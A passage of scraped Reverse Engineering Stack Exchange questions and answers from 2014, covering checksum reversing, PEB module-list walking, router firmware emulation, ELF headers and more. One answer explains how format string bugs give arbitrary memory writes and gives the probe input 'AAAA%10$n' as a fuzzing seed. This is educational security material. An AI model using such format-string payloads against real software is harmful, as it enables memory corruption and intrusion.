Data         Checksum\n\n0x01         0x6E45  \n0x02         0x6E46\n0x03         0x6E47\n\n0x0001       0x3284\n\n0x0002       0x3285\n0x0003       0x3286\n0x0104       0x32A8\n0x0005       0x3288\n0x0903       0x33AF\n0x0106       0x32AA\n\n0x3600       0x0AAE          \n\n0xAD00       0x1A05          \n\n0xF300       0x230B \n0xF400       0x232C\n0xF500       0x234D\n0xF600       0x236E\n0xF700       0x238F \n0xF800       0x23B0 \n\n0xFE00       0x2476          \n0xA800       0x1960          \n\n0xE200       0x20DA\n0xE500       0x213D          \n0xEE00       0x2266\n\n0x7300       0x128B\n0x7600       0x12EE          \n0xF700       0x238F          \n\n0xB400       0x1AEC\n0xB800       0x1B70          \n0xBC00       0x1BF4\n\n0x015E00     0xF68B\n0x013D00     0xF24A\n0x011C00     0xEE09 \n
\n\n

EDIT 3: More samples that might make it easier to see the pattern:

\n\n
Checksum     Data (ASCII)\n\n3540         11111111111111111111111111111\n3561         11111111111111111111111111112\n3582         11111111111111111111111111113\n\n3981         11111111111111111111111111121\n39A2         11111111111111111111111111122\n\nc1a1         11111111111111111111111111211\n4DC1         11111111111111111111111112111\n\n5de1         11111111111111111111111121111\n7201         11111111111111111111111211111\n
\n\n

EDIT 4:

\n\n

There was a typo in one of EDIT 3 samples - correct checksum for 11111111111111111111111112111 is 4DC1 instead of C10E. Edited original sample. Apologies to everyone who lost their time because of this.

\n\n

EDIT 5:

\n\n

It turns out, the index byte does play a role in calculating checksum, here is one particular example proving it:

\n\n
INDEX   CHECKSUM    PAYLOAD\n\n0x2B    0x704E      0x7E\n0x3E    0x72C1      0x7E\n\nSame payload has different checksum for different indexes. (checksum bytes reversed to show the actual 16 bit int)\n
\n\n

Some more samples:

\n\n
INDEX   CHECKSUM    PAYLOAD\n\n0x3E    0x72C0      0x7D\n0x1F    0x6E45      0x01\n0x2B    0x704F      0x7F\n
\n\n

Epilogue

\n\n

Please see the accepted answer for the exact algorithm. Special thanks to Edward, nrz and Guntram Blohm; solving this would take a lifetime without your help guys!

\n", "Title": "Guessing CRC checksum algorithm", "Tags": "|deobfuscation|decryption|networking|", "Answer": "

Got it. Here's how to calculate, using your first string as a simple example:

\n\n
1f456e01\n
\n\n

First, we rearrange the packet, omitting the checksum.

\n\n
1f 01\n
\n\n

Then prepend the values A3 02:

\n\n
a3 02 1f 01\n
\n\n

Then calculate the checksum by starting with a sum of 0, multiplying the sum by 33 (decimal) each time and adding the value of the next byte.

\n\n

Here it is in C with a few of your sample strings for illustrations. Note that this assumes a little-endian machine (e.g. x86).

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\n\nconst unsigned char s1[]= \"\\x0e\\x01\\x72\\x00\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x32\\x31\\x31\\x31\\x31\\x31\\x00\";\nconst unsigned char s2[]=\"\\x2b\\x4f\\x70\\x7f\";\nconst unsigned char s3[]=\"\\x1f\\x46\\x6e\\x02\";\n\nuint16_t verify(const unsigned char *pkt, size_t sz)\n{\n    uint16_t sum = 0xa3 * 33 + 2;\n    int i;\n    for (i=0; i < sz; ++i) {\n        if ((i != 1) && (i != 2))\n            sum = sum*33 + pkt[i];\n    }\n    return sum;\n}\n\nint main()\n{\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s1, sizeof(s1)-1), *(uint16_t *)(&s1[1]));\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s2, sizeof(s2)-1), *(uint16_t *)(&s2[1]));\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s3, sizeof(s3)-1), *(uint16_t *)(&s3[1]));\n    return 0;\n}\n
\n\n

Here's the output from that program:

\n\n
calculated 7201, actual 7201\ncalculated 704f, actual 704f\ncalculated 6e46, actual 6e46\n
\n\n

Update:

\n\n

I thought it might be useful to describe how I came about this answer so that it may help others in the future. First, as other answers note, your packets that were identical except for a single bit were invaluable in determining the general checksum algorithm (multiplying by 33 and adding the next byte).

\n\n

What remained was to determine the starting position which could have included the first byte (the one you're calling the index byte) and/or the length. When I compared two packets which were identical except for the index byte, and assuming a linear relationship also for these bytes, it was easy to determine that the index byte was \"next to\" the data bytes for calculation purposes.

\n\n

When I did that, all of the complete packets among your samples differed from my calculated value (long packets all by the constant 0xe905 and short packets by 0x6a45). Since the checksum is only 2 bytes, I guessed that there might be a 2-byte initialization value and simply wrote a small program to try all combinations. I chose one combination (A3 02) but in fact, there are exactly eight combinations that work -- all you need is something that ultimately evaluates to 0x1505 (5381 decimal).

\n" }, { "Id": "4465", "CreationDate": "2014-05-27T12:15:13.320", "Body": "

I am trying to get the base address of ntdll.dll over the PEB. So, what I did was to dump the PEB (d fs:[30]). Then, I tried to get to PEB_LDR_DATA over the offset 0xC. Over the offset 0x1C of PEB_LDR_DATA I found the the pointer of InInitializationOrderModuleList and I was told that I can find the ntdll.dll address there. And that I should first find the address of kernel32.dll (which is always the second entry). So, I was able to find the address of kernel32.dll but it seems like I can't find the address of ntdll.dll.

\n\n
00251ED8  .\u071b\u1f48%\u1eac%\u1f50%\u1eb4%.....@\u1434@\u6000.TV\u065c\u0694\u5000...\ub268\u7c98\ub268\u7c98\u8da8\u5373....\uabab\uabab\uabab\uabab......\u0728\u2010%\u1ee0%\u2018%\u1ee8%\n00251F58  \u2020%\u1ebc%.\u7c91\u2c28\u7c92\u6000:\u0208\ud028\u7c98\u2158\u7c93\u4004\u8008..\ub2c8\u7c98\ub2c8\u7c98\ubfbf\u4802....\uabab\uabab\uabab\uabab......\u0735C:\\WINDOWS\\system32\\\n00251FD8  kernel32.dll.\uabab\uabab\uabab\uabab\ufeee\ufeee\ufeee......\u07c1\u2150%\u1f48%\u2158%\u1f50%\u2160%\u1f58%.\u7c80\ub63e\u7c80\u8000@B\u1fb0%\u1fd8%\u4004\u8008..\ub2b0\u7c98\ub2b0\u7c98\ubfc0\u4802\n00252058  ....\uabab\uabab\uabab\uabab.....\u07ceC:\\WINDOWS\\WinSxS\\x86_Microsoft.VC90.CRT_1fc8b3b\n002520D8  9a1e18e3b_9.0.21022.8_x-ww_d08d0375\\MSVCR90.dll.\uabab\uabab\uabab\uabab.....\u07e9\u1eac%\u2010%\n00252158  \u1eb4%\u2018%\u1ebc%\u2020%.\u7852\u2d40\u7854\u3000.\u00be\u00c0\u2078%\u2120%\u4006\u9008..\ub2c0\u7c98\ub2c0\u7c98\u3dce\u4731....\uabab\uabab\uabab\uabab....\u07ca.\u14ee\u00ee\u0178%\u0178%\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\n
\n\n

This is the part where I have found the kernel32.dll. But in the fact of that this a linked list. Shouldn't I be able to find ntdll.dll too?

\n\n

When, I open up the window of \"Executable Modules\" I can see the ntdll.dll but it seem I am not able to find the base address inside of the Struct.

\n\n

Please tell me if you need clarification or if I am grievously mistaken.

\n", "Title": "Where is ntdll.dll?", "Tags": "|windows|assembly|memory|immunity-debugger|", "Answer": "

Assuming you want to see it in Windbg.

\n\n

You can follow this walk through for each pointer points to successive LDR_DATA_TABLE_ENTRY the output is from calc.exe.

\n\n
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(@$peb+c)+c)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\calc.exe\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(@$peb+c)+c))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ntdll.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(@$peb+c)+c)))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\kernel32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(@$peb+c)+c))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\SHELL32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ADVAPI32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\RPCRT4.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\Secur32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\GDI32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\USER32.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\msvcrt.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\SHLWAPI.dll\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"\"\n0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\calc.exe\"\n
\n\n

an alternate representation of the above method

\n\n
lkd> dt nt!_ldr_data_table_entry -y Full @@c++(@$peb->Ldr->InLoadOrderModuleList.Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\windbg.exe\"\nlkd> dt nt!_ldr_data_table_entry -y Full @@c++(@$peb->Ldr->InLoadOrderModuleList.Flink->Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ntdll.dll\"\nlkd> dt nt!_ldr_data_table_entry -y Full @@c++(@$peb->Ldr->InLoadOrderModuleList.Flink->Flink->Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\kernel32.dll\"\nlkd> dt nt!_ldr_data_table_entry -y Full @@c++(@$peb->Ldr->InLoadOrderModuleList.Flink->Flink->Flink->Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ADVAPI32.dll\"\n
\n" }, { "Id": "4474", "CreationDate": "2014-05-28T18:58:41.147", "Body": "

What is this instruction trying to do?

\n\n
 .text:4044A5EC LDR     R5, =(unk_40885080 - 0x4044A5F8)\n
\n\n

Looking at the value of unk_40885080 it holds a value of 20 in the .data segment.

\n", "Title": "Understanding unknown in IDA", "Tags": "|ida|disassembly|", "Answer": "

This seems to be ARM PIC (Position-Independent) code, where the address is given relative to the program counter. Ida detects this and shows the \"real\" address.

\n\n

Unfortunately, you didn't post any code around the your single statement, so i'm using one of my own disassemblies to show you:

\n\n
.text:00062454                 LDR             R3, [R4,#8]\n.text:00062458                 MOV             R0, #0x2C ; ','\n.text:0006245C                 LDR             R1, =(unk_218172 - 0x62474)  <--- a\n.text:00062460                 MOV             R5, #0\n.text:00062464                 MOV             R2, #4  ; n\n.text:00062468                 STRB            R0, [R3,#0x12]\n.text:0006246C                 ADD             R1, PC, R1                   <--- b\n.text:00062470                 LDR             R3, [R4,#8]\n.text:00062474                 ADD             R0, R3, #0x30 ; dest\n.text:00062478                 STR             R1, [R3,#8]\n.text:0006247C                 STR             R1, [R3,#0x14]\n
\n\n

The code loads some value into R1 (a), then (b) adds PC to it. So, the value of the register is supposed to be a pointer into memory, but beause PC gets added later, the value that is loaded at 2645C wouldn't make any sense. Ida detects the ADD instruction, and shows the LDR instruction in a way that lets you see where it's supposed to point to.

\n\n

The fact that the \"correcting offset\" of 0x62474 is not the address of the ADD instruction is because of pipelining within the processor; at the moment the ADD gets executed, the next instructions have already been read, so PC is two instructions \"behind\" where the ADD instruction is located.

\n\n

(The reason why the compiler produces this kind of code is, when the same code gets loaded at a different address later it stays valid, even without the relocation patching the linker/loader would have to do otherwise. That's called PIC, or Position-independent code.)

\n" }, { "Id": "4480", "CreationDate": "2014-05-29T16:07:27.903", "Body": "

I'm trying to emulate a TP-Link WR740N in Qemu (MIPS). I have extracted the rootfs.img from the firmware, and downloaded vmlinux-2.6.32-5-4kc-malta from here: http://people.debian.org/~aurel32/qemu/mips/.

\n\n

Then, I started Qemu with these parameters:

\n\n
qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -hda 'rootfs.img' -append \"root=/dev/sda1 console=tty0\" -nographic\n
\n\n

And it got stuck on:

\n\n
[0.000000] console [tty0] enabled, bootconsole disabled\n
\n\n

I've also tried to run it like this:

\n\n
sudo qemu-system-mips -M malta -initrd 'rootfs.img' -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append \"console=ttyS0,115200 root=/dev/sda rootfstype=jffs2 init=/sbin/init\" -hda 'hda.img' \n
\n\n

and I get this error:

\n\n
[    0.796000]  sda: unknown partition table\n[    0.808000] sd 0:0:0:0: [sda] Attached SCSI disk\n[    0.812000] RAMDISK: squashfs filesystem found at block 0\n[    0.812000] RAMDISK: Loading 2556KiB [1 disk] into ram disk... done.\n[    0.928000] VFS: Cannot open root device \"sda\" or unknown-block(8,0)\n[    0.928000] Please append a correct \"root=\" boot option; here are the available partitions:\n[    0.928000] 0800           65536 sda driver: sd\n[    0.932000] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,0)\n
\n\n

New try after answer from 6EQUJ5 [I still get the same error though (the second one)]:

\n\n

This is what I'm trying:

\n\n
sudo qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append \"init=/bin/sh\" -hda 'myFileSystem.img'\n
\n\n

And this is a link to download the filesystem I've created:

\n\n
http://speedy.sh/vBUEQ/myFileSystem.img\n
\n\n

Running \"file\" on my filesystem:

\n\n
Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=dac7072e-2c8b-408f-a080-57ea60cfd9ea\n
\n\n

Those are the commands I've used to create it and move the files into it:

\n\n
dd if=/dev/zero of=~/myFileSystem.img bs=1024 count=65536\nmke2fs myFileSystem.img\nmkdir /mnt/virtual\nmount -o loop ~/myFileSystem.img /mnt/virtual\n
\n", "Title": "Emulate TP-LINK WR740N with QEMU", "Tags": "|firmware|qemu|mips|", "Answer": "

I was able to get that firmware to a shell by doing the following:

\n\n
    \n
  1. Unpacking the squashfs image
    2. \n
  2. Create a filesystem image formatted to ext2 and copying the unpacked squashfs contents into that, and using that as -hda
    3. \n
  3. Running without -initrd ... and appending init=/bin/sh to the kernel command line
    4. \n
\n\n

Although you are not fully emulating the WR740N because most of the hardware is missing and it is a different kernel. Emulating a router in qemu is always going to be a partial process because of that.

\n" }, { "Id": "4487", "CreationDate": "2014-05-30T15:31:43.500", "Body": "

I think I understand how a format string vulnerability works, but what I have seen so far it can only be used to increase the value of an integer.

\n\n

Can format string vulnerability also be used to write anything else?

\n\n

And, by the way, are there languages, other then C and C++, that are at risk of creating such a vulnerability? How can I spot a format string vulnerability if I only have a binary?

\n", "Title": "How can a format string vulnerability be used to write a specific string into memory?", "Tags": "|binary-analysis|c|c++|vulnerability-analysis|strings|", "Answer": "

It's a lot of questions, here are a few answers:

\n\n

How can we write something in memory with a format string vulnerability ?

\n\n

For this, you need to know two specific features used in the printf format string specifications. First, %n is a format specifier that has the following effect (according to the manual page):

\n\n
\n

%n The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

\n
\n\n

Now, the second format string feature will allow us to select a specific argument from the format string. The main selection operator is $, and the following code means that we select the second argument (here the outcome will be to display 2):

\n\n
printf(\"%2$x\", 1, 2, 3)\n
\n\n

But, in the general case, we can do printf(\"%<some number>$x\") to select an arbitrary argument of the current printf function (format string argument does not count).

\n\n

If we could pass the string AAAA%10$n to the program and make it appear as a format string, then we could write the value 4 to the address 0x41414141.

\n\n

So, format string bugs may offer a full access to the memory and you can decide what to write and where in the memory.

\n\n

I really advise you to read \"Exploiting Format String Vulnerabilities\" from Scut (2001) to get a whole grasp on these kind of manipulations.

\n\n

Are they other languages than C/C++ that are vulnerable to these bugs ?

\n\n

Well, format string bugs are tied up to the printf function family and the way format strings may be passed to the function. It's a whole class of security issue itself. So, you might find ways to exploit similar problems in some other languages. Though, you may not find the exact same features as the format string capabilities in other languages may differ a lot.

\n\n

I do think about languages such as Perl, Python, and so on, that all offer similar access to format string features.

\n\n

How can I spot format string vulnerabilities if I have only the binary ?

\n\n

First, you have to locate the calls to procedure of the printf family. Then, I would say that fuzz-testing (fuzzing) should be a good way to find the vulnerabilities. Especially if you can forge a few entries with seeds such as AAAA%10$n.

\n\n

If you want a more accurate and exhaustive way to find it, you will probably need to do some binary analysis and taint analysis on every call to a procedure of the printf family.

\n" }, { "Id": "4504", "CreationDate": "2014-06-02T13:54:38.543", "Body": "

Constraints:

\n

I am doing reverse engineering of a binary firmware image of unknown provenance, which operates on a device that is not physically accessible to me. That is, I can't take apart the device, don't have even block diagrams for its function, and have no ability to identify the microprocessor by visual inspection or by asking the creator of the object. Literally the only thing available is the binary image.

\n

The Question:

\n

My question is: given those constraints what tools or theoretical approaches could be employed to identify the processor's instruction set by examining the binary?

\n

Research so far:

\n

I have, of course, attempted to use disassemblers for various popular ISAs such as ARM, x86 and MIPS. I have also done a literature search for research papers but haven't turned up anything at all.

\n

Ideally, what I'd like is a tool that would examine the binary and then report something like "75% probability that this is code for a Renesas M16C."

\n", "Title": "how can the processor instruction set be identified solely by examining a binary image?", "Tags": "|disassembly|machine-code|", "Answer": "

This presentation offers one approach.

\n\n

Title: Reverse engineering of binary programs for custom virtual machines

\n\n

Authors: Alexander Chernov and Katerina Troshina

\n\n
\n \n
\n" }, { "Id": "4513", "CreationDate": "2014-06-03T07:49:54.047", "Body": "

I'm analyzing an rather ancient 3D mesh format (from 1995 or 1996). Inside the files, there are blocks of what I think are vertices.

\n\n

For example, the following is a direct hex dump from such a part:

\n\n
7855DAFF\n5BE60E00\n353D0200\nC82D0B00\n5BE60E00\n353D0200\nC82D0B00\n5BE60E00\nB61AEDFF\n7855DAFF\n5BE60E00\nB61AEDFF\n7855DAFF\n59D2FDFF\n363D0200\nC82D0B00\n59D2FDFF\n363D0200\nC82D0B00\n59D2FDFF\nB61AEDFF\n7855DAFF\n59D2FDFF\nB61AEDFF\n
\n\n

These blocks are introduced by a little header, which has a value that could be the number of vertices that are present in the corresponding data block. For this excerpt, there is a 0x08. Since we have 24 values of 32bit, I think it is safe to assume that these blocks are actual vertices (0x08 * 3 = 24, with xyz). Other headers also have this value and their data blocks also have the exact number of dwords ([value in header] * 3 => number of dwords).

\n\n

But, now I'm struggling at deciphering the number format that was used. It isn't IEEE754; a friend of mine also pointed out that the hardware that was used these days didn't perform well with floating-point numbers and therefore often fixed-point numbers where used.

\n\n

So, any idea what kind of format this could be ?

\n", "Title": "Ancient number formats (probably fixed-point)", "Tags": "|binary-analysis|file-format|", "Answer": "

if you reverse the byte order, and assume signed numbers you get these triplets:

\n\n
-2468488  976475   146741\n  732616  976475   146741\n  732616  976475 -1238346\n-2468488  976475 -1238346\n-2468488 -142759   146742\n  732616 -142759   146742\n  732616 -142759 -1238346\n-2468488 -142759 -1238346\n
\n\n

these seem like the coordinates of the corners of a 3d cube

\n\n
x=(-2468488 .. 732616)\ny=( -142759 .. 976475)\nz=(-1238346 .. 146742)\n
\n" }, { "Id": "4520", "CreationDate": "2014-06-04T10:43:36.750", "Body": "

I am debugging a program that reads an environment variable. So far, I could not find how to launch it in Immunity/Olly with a custom environment.

\n\n

Anybody know how this can be done?

\n", "Title": "Passing an environment to debugged program in Olly/Immunity", "Tags": "|ollydbg|immunity-debugger|", "Answer": "

As an alternative to blabb's answer, if you'd like to set the environment variable via a GUI, you can use http://www.codeproject.com/Articles/32131/Dynamically-Add-Edit-Environment-Variables-of-Remo

\n" }, { "Id": "4526", "CreationDate": "2014-06-04T16:43:28.923", "Body": "

I'm working on reverse engineering a PCB (no documentation by manufacturer). I've identified all the other chips on this board but this one refuses to give up any google-able info. Are there any resources that can help me identify what kind of chip this is?

\n\n

\n\n
      ______________\nD1 --|O    ATH 330  |--?\nD2 --|              |--Vss\nVss--|     50?L  8  |--D4\nGND--|     3U49758  |--D5\n      --------------\n
\n\n

D1, D2, D3 and D4 pins are connected to a 5x2 grid of test points which I've soldered a header into. Vss is connected to the Vss of a PIC32MX695F512H microcontroller.

\n\n

Let me know if I can provide additional info to assist this process.

\n", "Title": "Identifying an unknown chip on a PCB", "Tags": "|hardware|embedded|pcb|", "Answer": "

The markings look like an Atmel part (it starts with \"AT\", which is common for Atmel parts). Given the size of the chip and context which you provided, I figured it was probably a serial EEPROM. Looking through Atmel's serial EEPROM datahsheets, your mystery chip is almost certainly an Atmel AT25128B-SSHL SPI EEPROM, which matches your chip's product markings and pinout.

\n\n

According to the AT25128B datasheet, the first line should be ATHXXX, where XXX is a three digit date code. In your case, \"ATH330\" means it was made in the 30th week of 2013.

\n\n

The second line contains the product's truncated part number (truncated part numbers are used when the entire part number is too long to fit on the package) and country of assembly. The truncated part number for the AT25128B is \"5DBL\", which from the picture looks reasonably like what is printed on your chip, and the trailing \"8\" identifies the country of assembly (I don't know what country \"8\" corresponds to, but its probably somewhere in Asia :)).

\n\n

The last line is the Atmel lot number.

\n" }, { "Id": "4532", "CreationDate": "2014-06-04T23:28:52.360", "Body": "

So, say that I have the following code, which gives three examples of what I believe to be unnecessary copies of values.

\n\n
mov    QWORD PTR [rbp-0x18],rdi\nmov    rdx,QWORD PTR [rbp-0x18]\nlea    rax,[rbp-0x10]\nmov    rsi,rdx\nmov    rdi,rax\ncall   4003e0 <strcpy@plt>\n
\n\n

Why is the value in rdi copied to memory at rbp-0x18, then copied back to rdx ? It's then copied to rsi (2 extra copies).

\n\n

Finally, why the lea + mov for rbp-0x10 to rax, then to rdi ? Is there any reason the following code wasn't generated ?

\n\n
mov    rsi,rdi\nlea    rdi,[rbp-0x10]\ncall   4003e0 <strcpy@plt>\n
\n\n

(My guess is that this is just an artifact of the code generation in the compiler, but I'm making sure there's not some rules of x86-64 that I'm missing.)

\n", "Title": "Why are values passed through useless copies?", "Tags": "|linux|x86-64|", "Answer": "

There are no artifacts and surely the compiler, and I mean GCC, can generate a better and faster code if told so. The first version of your generated code is non optimized. Why ? Either because -O0 flag (0 level optimizations ==> No optimizations) was specified, or because no optimization flags were specified and by default GCC turns optimizations off.

\n\n

Below you'll find two versions of the same code. Version 1 with -O0 flag. Version 2 with -O2 flag.

\n\n\n\n

If you're interested in the optimizations performed by GCC you should read this link, and this one too. You can also check the GCC summit publications.

\n" }, { "Id": "4536", "CreationDate": "2014-06-05T07:56:14.460", "Body": "

I would like to analyze (and fuzz) a USB device and I need a bit of guidance to setup a full platform to discuss with the device.

\n\n

First, I would like to know what are the most used hardware cards to emulate and perform fuzzing on USB devices. I've heard about the FaceDancer11 card with a Python API (see a few blog posts [1,2] from Travis Goodspeed). But, are they others ?

\n\n

Also, if someone could come with a list of the needed hardware devices and, maybe, some existing Python libraries that are useful to have and, what development effort is needed to setup such a platform, it would be helpful.

\n", "Title": "Setting an USB Emulation and Fuzzing Platform?", "Tags": "|hardware|fuzzing|usb|", "Answer": "

Page 4 of https://www.nccgroup.com/media/190706/usb_driver_vulnerabilities_whitepaper_january_2013.pdf gives a good introduction to setting up a USB-fuzzing test platform.

\n\n
\n

Testing USB drivers on host machines is not a straightforward process,\n because you either need to emulate a USB device or proxy the traffic\n between a device and the host. As a result of how the protocol works\n it would be extremely difficult to convert a USB host e.g. a PC into a\n USB device and therefore, if you are not modifying the traffic\n en-route via some kind of hooking or proxy solution, you need to use a\n hardware-based approach. This section details the various different\n approaches to testing USB hosts and compares the relative merits of\n each...

\n
\n" }, { "Id": "4546", "CreationDate": "2014-06-05T13:33:02.397", "Body": "

How should I decide file is malware or not. Before reverse engineering any file, I should be suspect the file. What are the various ways to decide if exe is malicious?

\n\n

Thanks

\n", "Title": "How to decide file is malware or not?", "Tags": "|malware|", "Answer": "

This is a million dollar question and I doubt anybody will be able to provide a convincing answer. There are many methods used by antivirus software & analysts.

\n\n

One is to perform a stupid matching with known malware signatures. Another could be to statically analyze the application, extract the control flow (by reconstructing the CFG) of the application and deploy heuristics & pattern matching algorithms in order to determine if the application performs suspicious tasks. This can usually be done after analyzing known malware & building profiles of their behaviors (suspicious syscall call graph, ...).

\n\n

There are numerous techniques and this field is still open for research (this document describes an interesting one), some are extremely advanced and may necessitate sharp mathematical skills, and others are hard to program. Mainly, because none of them follow the standard algorithmic approach and rather use machine learning, genetic algorithms, and sometimes AI.

\n\n

I suggest you going through this Securelist article, and this publication too if you're interested by more material.

\n" }, { "Id": "4549", "CreationDate": "2014-06-05T14:22:49.187", "Body": "

I would like to load a function I have decompiled in IDA Pro. All I have is the IDA Pro function name sub_xxxx() and obviously the address. I had thought about using dlopen to load the binary but obviously I don't have a symbol to load as the binary has been stripped. Could I somehow call the function without a symbol table? Or do I have to rebuild the symbol table of the binary to then use dlsym to locate and load the symbol?

\n", "Title": "Rebuild symbol table", "Tags": "|disassembly|dynamic-linking|", "Answer": "

I do not know your exact case. But if the binary is just stripped (or sstrip is used) and your function is just a call to an external symbol of a dynamic library, you might want to take a look at this little IDA python script of mine: http://h4des.org/blog/index.php?/archives/343-Restoring-external-symbol-calls-in-IDA-when-ELF-sections-are-deleted.html

\n\n

This script uses an ELF parser library I wrote (called ZwoELF) that tries to only use information that the ELF loader is using to circumvent problems that almost all analysis tools/frameworks I tested have because they rely on optional data like ELF sections.

\n" }, { "Id": "4551", "CreationDate": "2014-06-06T03:23:17.553", "Body": "

I recently read that the kernel and the dynamic loader mostly deal with the program header tables in an ELF file and that assemblers, compilers and linkers deal with the section header tables.

\n\n

The number of program header tables and section header tables are mentioned in the ELF header in fields named e_phnum and e_shnum respectively. e_phnum is two bytes in size, so if the number of program headers is > 65535, we use a scheme known as extended numbering where, e_phnum is set to 0xffff and sh_link field of the zeroth section header table holds the actual count.

\n\n

My doubt is :

\n\n
\n

If the count of program headers exceeds 65535, does that mean the kernel and/or the dynamic loader end up having to read the section table ?

\n
\n", "Title": "Kernel dealing with the section headers in an ELF", "Tags": "|linux|file-format|elf|kernel-mode|", "Answer": "

I've just checked the linux kernel loading ELF function (loading_elf_binary) and I find out that if e_phnum > (65536U / sizeof(struct elf_phdr)) or e_phnum < 1, the current loading routine will stop (line 613-615), the ELF file won't be loaded:

\n\n
610         /* Now read in all of the header information */\n611         if (loc->elf_ex.e_phentsize != sizeof(struct elf_phdr))\n612                 goto out;\n613         if (loc->elf_ex.e_phnum < 1 ||\n614                 loc->elf_ex.e_phnum > 65536U / sizeof(struct elf_phdr))\n615                 goto out;\n616         size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr);\n617         retval = -ENOMEM;\n618         elf_phdata = kmalloc(size, GFP_KERNEL);\n619         if (!elf_phdata)\n620                 goto out;\n
\n\n

Reference: http://lxr.free-electrons.com/source/fs/binfmt_elf.c

\n\n

Also the number of programheader (e_phnum) in ELF32/64 is always 16 bit variable

\n\n
203 typedef struct elf32_hdr{\n204   unsigned char e_ident[EI_NIDENT];\n205   Elf32_Half    e_type;\n206   Elf32_Half    e_machine;\n207   Elf32_Word    e_version;\n208   Elf32_Addr    e_entry;  /* Entry point */\n209   Elf32_Off     e_phoff;\n210   Elf32_Off     e_shoff;\n211   Elf32_Word    e_flags;\n212   Elf32_Half    e_ehsize;\n213   Elf32_Half    e_phentsize;\n214   Elf32_Half    e_phnum;\n215   Elf32_Half    e_shentsize;\n216   Elf32_Half    e_shnum;\n217   Elf32_Half    e_shstrndx;\n218 } Elf32_Ehdr;\n219 \n220 typedef struct elf64_hdr {\n221   unsigned char e_ident[EI_NIDENT];     /* ELF \"magic number\" */\n222   Elf64_Half e_type;\n223   Elf64_Half e_machine;\n224   Elf64_Word e_version;\n225   Elf64_Addr e_entry;           /* Entry point virtual address */\n226   Elf64_Off e_phoff;            /* Program header table file offset */\n227   Elf64_Off e_shoff;            /* Section header table file offset */\n228   Elf64_Word e_flags;\n229   Elf64_Half e_ehsize;\n230   Elf64_Half e_phentsize;\n231   Elf64_Half e_phnum;\n232   Elf64_Half e_shentsize;\n233   Elf64_Half e_shnum;\n234   Elf64_Half e_shstrndx;\n235 } Elf64_Ehdr;\n
\n\n

Define data type as followed:

\n\n
9 typedef __u16   Elf32_Half;\n16 typedef __u16   Elf64_Half;\n
\n\n

Reference: http://lxr.free-electrons.com/source/include/uapi/linux/elf.h#L263

\n\n

